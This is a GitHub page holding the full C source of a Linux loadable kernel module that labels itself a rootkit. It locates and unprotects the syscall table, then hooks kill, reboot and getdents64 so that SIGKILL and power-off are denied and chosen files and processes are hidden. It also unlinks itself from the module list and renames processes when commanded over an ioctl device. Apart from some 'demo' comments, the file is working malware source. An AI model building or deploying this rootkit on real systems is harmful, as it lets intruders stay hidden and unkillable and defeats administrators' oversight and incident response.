Repository navigation
Expand file tree
/
Copy pathloadable_kernel_module.c
More file actions
498 lines (431 loc) · 15.6 KB
/
Copy pathloadable_kernel_module.c
File metadata and controls
498 lines (431 loc) · 15.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>
#include <linux/sched/signal.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/cdev.h>
#include <linux/reboot.h>
// for getdents64 hook
#include <linux/fdtable.h>
#include <linux/proc_ns.h>
// strscpy/strcmp/memcmp/strlen/strnlen used below — don't rely on another
// header pulling this in transitively, that chain is not guaranteed stable
// across kernel versions.
#include <linux/string.h>
#include <linux/mutex.h>
// kprobe for kallsyms_lookup_name
#include <linux/kprobes.h>
#include "loadable_kernel_module.h"
// PROC_ROOT_INO was renamed to PROCFS_ROOT_INO in kernel 6.18.
#if LINUX_VERSION_CODE >= KERNEL_VERSION(6, 18, 0)
#define PROC_ROOT_INO PROCFS_ROOT_INO
#endif
#define OURMODNAME "loadable_kernel_module"
// Custom flag stored in task_struct->flags to mark a process as rootkit-hidden.
// Must not collide with any kernel-defined PF_* flag; verify against <linux/sched.h> on each kernel upgrade.
#define PF_INVISIBLE 0x10000000
MODULE_AUTHOR("Harry Hsu x90613@gmail.com");
MODULE_DESCRIPTION("Linux-Rootkit-LKM");
MODULE_LICENSE("Dual MIT/GPL");
MODULE_VERSION("1.0");
static struct task_struct *find_task(pid_t pid)
{
struct task_struct *p;
// for_each_process requires rcu_read_lock() to safely walk the task list.
// A task can exit and free its task_struct mid-iteration without the lock.
rcu_read_lock();
for_each_process(p) {
if (p->pid == pid) {
rcu_read_unlock();
return p;
}
}
rcu_read_unlock();
return NULL;
}
static int is_invisible(pid_t pid)
{
struct task_struct *task;
if (!pid)
return 0;
task = find_task(pid);
if (!task)
return 0;
if (task->flags & PF_INVISIBLE)
return 1;
return 0;
}
static int change_process_name(const char *orig_name, const char *new_name)
{
struct task_struct *p = NULL;
int found = 0;
// for_each_process requires rcu_read_lock() to safely walk the task list.
rcu_read_lock();
for_each_process(p) {
if (strcmp(p->comm, orig_name) == 0) {
// strncpy() was removed from the kernel (no NUL-termination guarantee,
// unconditional zero-padding caused too many bugs); strscpy() always
// NUL-terminates within the given size and is the in-tree replacement.
strscpy(p->comm, new_name, sizeof(p->comm));
found = 1;
pr_info("Process with original name '%s' found and renamed to '%s'\n", orig_name, new_name);
}
}
rcu_read_unlock();
return found ? 0 : -1;
}
/* ---- character device state ---- */
static int major;
// Holds the full major/minor-encoded dev_t returned by alloc_chrdev_region,
// so lkm_exit can unregister the exact same region (unregister_chrdev_region
// takes a dev_t, not a bare major number).
static dev_t lkm_dev_no;
static struct cdev *kernel_cdev;
/* ---- file hiding state ---- */
// Points to a static empty string initially; replaced by a kmalloc'd buffer in IOCTL_FILE_HIDE.
// The empty-string sentinel is checked via *hidden_file != '\0' before kfree — do not set to NULL.
static char *hidden_file = "";
// Protects hidden_file against a reader in hacked_getdents64 racing a concurrent
// IOCTL_FILE_HIDE writer: without this, the writer's kfree() of the old buffer
// can run while the reader still holds the stale pointer (use-after-free).
static DEFINE_MUTEX(hidden_file_lock);
/* ---- syscall table / hooking infrastructure ---- */
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
// the necessary variables that the syscall table requires to access and modify
static unsigned long *__sys_call_table;
static void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);
static unsigned long start_rodata;
static unsigned long init_begin;
// Size of the read-only data section. Used to temporarily make the syscall table writable.
// Parenthesized so the subtraction stays atomic if this macro is ever combined
// with another operator at a future call site (e.g. `section_size * 2`).
#define section_size (init_begin - start_rodata)
typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
static t_syscall orig_kill;
static t_syscall orig_reboot;
static t_syscall orig_getdents64;
/* ---- module hide state ---- */
static struct list_head *prev_module;
static short hidden;
// Serializes module_hide()/module_show() against each other: without this, two
// concurrent IOCTL_MOD_HIDE calls can both observe the same stale `hidden` value
// and both call list_del()/list_add() on THIS_MODULE->list, corrupting it.
static DEFINE_MUTEX(module_hide_lock);
// Syscall hook Part
static asmlinkage int hacked_reboot(const struct pt_regs *pt_regs)
{
unsigned int cmd;
// On arm64: reboot(2) args are magic, magic2, cmd, arg — cmd is the 3rd argument (regs[2]).
// On x86_64: 3rd syscall argument is in rdx, which maps to regs[2] in pt_regs layout.
cmd = (unsigned int) pt_regs->regs[2];
pr_info("enter hacked reboot section.\n");
if (cmd == LINUX_REBOOT_CMD_POWER_OFF) {
pr_info("power off command intercepted and denied.\n");
return 0;
}
return orig_reboot(pt_regs);
}
static asmlinkage int hacked_kill(const struct pt_regs *pt_regs)
{
// On arm64/x86_64: kill(2) signature is kill(pid, sig) — sig is the 2nd argument (regs[1]).
int sig = (int) pt_regs->regs[1];
pr_info("enter hacked kill section.\n");
// Demo behavior: intercept SIGKILL system-wide to show a syscall hook can make
// any process unkillable. This is intentional for demonstration purposes.
switch (sig) {
case 9:
pr_info("kill signal intercepted and denied.\n");
break;
default:
return orig_kill(pt_regs);
}
return 0;
}
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs)
{
// fd and dirent are the first two arguments to getdents64(fd, dirp, count).
int fd = (int) pt_regs->regs[0];
struct linux_dirent *dirent = (struct linux_dirent *) pt_regs->regs[1];
int ret = orig_getdents64(pt_regs), err;
unsigned short proc = 0;
unsigned long off = 0;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
struct inode *d_inode;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
// Access fdtable under rcu_read_lock() as required; validate fd against max_fds
// before indexing to avoid an out-of-bounds read on a user-controlled fd value.
rcu_read_lock();
{
struct fdtable *fdt = files_fdtable(current->files);
struct file *f = (fd >= 0 && (unsigned int)fd < fdt->max_fds) ? fdt->fd[fd] : NULL;
if (f) {
d_inode = f->f_path.dentry->d_inode;
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
proc = 1;
}
}
rcu_read_unlock();
pr_debug("hidden_file: %s\n", hidden_file);
// Hold the lock across the whole scan: hidden_file is read (and its contents
// dereferenced via strlen/memcmp) throughout the loop below, so it must not
// be freed/reassigned by a concurrent IOCTL_FILE_HIDE until we're done.
mutex_lock(&hidden_file_lock);
while (off < ret) {
bool name_match, pid_match;
dir = (void *)kdirent + off;
// Guard against malformed dirents with d_reclen == 0; advancing by zero loops forever.
if (dir->d_reclen == 0)
break;
// Hide the entry if: (not in /proc) and its name matches hidden_file,
// OR (in /proc) and the entry's numeric name is a PF_INVISIBLE pid.
name_match = !proc && hidden_file && *hidden_file != '\0' &&
memcmp(hidden_file, dir->d_name, strlen(hidden_file)) == 0;
pid_match = proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10));
if (name_match || pid_match) {
// First entry: shift remaining dirents left over it, shrink ret.
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
mutex_unlock(&hidden_file_lock);
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
// hidden module part
static void module_show(void)
{
/* back to the module list where we remove before */
list_add(&THIS_MODULE->list, prev_module);
hidden = 0;
pr_info("module unhidden\n");
}
static void module_hide(void)
{
/* Save this module in the list before us, make this module back to the list in the same place later. */
prev_module = THIS_MODULE->list.prev;
/* Remove ourselves from the list module list */
list_del(&THIS_MODULE->list);
hidden = 1;
pr_info("module hidden\n");
}
static unsigned long *get_syscall_table(void)
{
unsigned long *syscall_table;
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
// kallsyms_lookup_name is unexported since kernel 5.7. We recover its address by registering
// a kprobe on its symbol, reading kp.addr, then immediately unregistering.
if (register_kprobe(&kp) < 0)
return NULL;
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
// The parameters to be obtained from kallsyms_lookup_name are generated here.
syscall_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
pr_info("sys_call_table address: %p\n", syscall_table);
return syscall_table;
}
static inline void protect_memory(void)
{
update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, section_size, PAGE_KERNEL_RO); // Read - only
pr_info("Memory protected\n");
}
static inline void unprotect_memory(void)
{
update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, section_size, PAGE_KERNEL); // Read - write
pr_info("Memory unprotected\n");
}
static int hook(void)
{
unprotect_memory();
__sys_call_table[__NR_reboot] = (unsigned long) &hacked_reboot;
__sys_call_table[__NR_kill] = (unsigned long) &hacked_kill;
__sys_call_table[__NR_getdents64] = (unsigned long) &hacked_getdents64;
protect_memory();
return 0;
}
/* -------------------------------------------------- */
static int lkm_open(struct inode *inode, struct file *filp)
{
pr_info("%s\n", __func__);
return 0;
}
static int lkm_release(struct inode *inode, struct file *filp)
{
pr_info("%s\n", __func__);
return 0;
}
static long lkm_ioctl(struct file *filp, unsigned int ioctl, unsigned long arg)
{
struct hided_file file_info;
struct masq_proc_req user_req;
struct masq_proc *req_array;
int ret = 0;
size_t i;
switch (ioctl) {
case IOCTL_MOD_HOOK:
hook();
break;
case IOCTL_MOD_HIDE:
mutex_lock(&module_hide_lock);
if (hidden == 0)
module_hide();
else
module_show();
mutex_unlock(&module_hide_lock);
break;
case IOCTL_MOD_MASQ:
if (copy_from_user(&user_req, (struct masq_proc_req *)arg, sizeof(struct masq_proc_req)))
return -EFAULT;
// Cap user-supplied len to prevent signed/unsigned wrap and excessive allocation.
if (user_req.len > 256)
return -EINVAL;
pr_debug("Received masq_proc_req: len = %zu\n", user_req.len);
req_array = kmalloc_array(user_req.len, sizeof(struct masq_proc), GFP_KERNEL);
if (!req_array) {
pr_info("Memory allocation failed\n");
return -ENOMEM;
}
if (copy_from_user(req_array, user_req.list, user_req.len * sizeof(struct masq_proc))) {
kfree(req_array);
return -EFAULT;
}
for (i = 0; i < user_req.len; ++i) {
// Only rename if new_name is strictly shorter than orig_name — prevents overflowing p->comm
// when strscpy is called in change_process_name.
// strnlen guards against non-null-terminated user-filled fields.
if (strnlen(req_array[i].new_name, MASQ_LEN) >= strnlen(req_array[i].orig_name, MASQ_LEN)) {
pr_debug("Error: New name '%s' should be shorter than original name '%s'\n", req_array[i].new_name, req_array[i].orig_name);
continue;
}
change_process_name(req_array[i].orig_name, req_array[i].new_name);
pr_debug("Received masq_proc[%zu]: Original name: %s, New name: %s\n", i, req_array[i].orig_name, req_array[i].new_name);
}
kfree(req_array);
break;
case IOCTL_FILE_HIDE:
if (copy_from_user(&file_info, (struct hided_file *)arg, sizeof(struct hided_file)))
return -EFAULT;
pr_info("Received hidden file: %s, size: %lu\n", file_info.name, file_info.len);
// Replace hidden_file with a newly allocated buffer holding the filename to suppress from getdents64.
// Reject zero-length to prevent size_t underflow on the null-terminator write below.
if (file_info.len == 0 || file_info.len > NAME_LEN)
return -EINVAL;
mutex_lock(&hidden_file_lock);
if (hidden_file && *hidden_file != '\0')
kfree(hidden_file);
hidden_file = kmalloc(file_info.len, GFP_KERNEL);
if (!hidden_file) {
mutex_unlock(&hidden_file_lock);
return -ENOMEM;
}
memcpy(hidden_file, file_info.name, file_info.len);
hidden_file[file_info.len - 1] = '\0';
mutex_unlock(&hidden_file_lock);
break;
default:
ret = -EINVAL;
}
pr_info("%s\n", __func__);
return ret;
}
/* File operations structure */
static struct file_operations fops = {
.open = lkm_open,
.unlocked_ioctl = lkm_ioctl,
.release = lkm_release,
.owner = THIS_MODULE,
};
static int __init lkm_init(void)
{
int ret;
dev_t dev;
/* Allocate a character device structure */
kernel_cdev = cdev_alloc();
if (!kernel_cdev)
return -ENOMEM;
kernel_cdev->ops = &fops;
kernel_cdev->owner = THIS_MODULE;
/* Dynamically allocate a character device region */
ret = alloc_chrdev_region(&lkm_dev_no, 0, 1, "loadable_kernel_module");
if (ret < 0) {
pr_info("major number allocation failed\n");
cdev_del(kernel_cdev);
return ret;
}
major = MAJOR(lkm_dev_no);
dev = MKDEV(major, 0);
pr_info("The major number for your device is %d\n", major);
/* Register a device structure with the kernel VFS*/
ret = cdev_add(kernel_cdev, dev, 1);
if (ret < 0) {
pr_info("unable to allocate cdev\n");
cdev_del(kernel_cdev);
unregister_chrdev_region(lkm_dev_no, 1);
return ret;
}
// get __sys_call_table's address
__sys_call_table = get_syscall_table();
if (!__sys_call_table) {
pr_info("Failed to find sys_call_table\n");
cdev_del(kernel_cdev);
unregister_chrdev_region(lkm_dev_no, 1);
return -ENOENT;
}
pr_info("__NR_reboot: %d\n", __NR_reboot);
pr_info("__NR_kill: %d\n", __NR_kill);
pr_info("__NR_getdents64: %d\n", __NR_getdents64);
// To store original syscall table addresses
orig_reboot = (t_syscall)__sys_call_table[__NR_reboot];
orig_kill = (t_syscall)__sys_call_table[__NR_kill];
orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
return 0;
}
static void __exit lkm_exit(void)
{
// Restore all hooked syscalls before unloading. unprotect_memory/protect_memory bracket the writes
// because the syscall table lives in read-only memory at runtime.
// Note: no synchronization with in-flight calls to hacked_* — a concurrent syscall may execute
// the hook after the table entry is restored but before the module text is unmapped (TOCTOU).
unprotect_memory();
__sys_call_table[__NR_reboot] = (unsigned long)orig_reboot;
__sys_call_table[__NR_kill] = (unsigned long) orig_kill;
__sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
protect_memory();
mutex_lock(&hidden_file_lock);
if (hidden_file && *hidden_file != '\0')
kfree(hidden_file);
mutex_unlock(&hidden_file_lock);
pr_info("%s: removed\n", OURMODNAME);
cdev_del(kernel_cdev);
// Must pass the dev_t saved from alloc_chrdev_region, not the bare major
// number — unregister_chrdev_region(major, 1) silently unregisters the
// wrong (major=0) region and leaks the real one across insmod/rmmod cycles.
unregister_chrdev_region(lkm_dev_no, 1);
}
module_init(lkm_init);
module_exit(lkm_exit);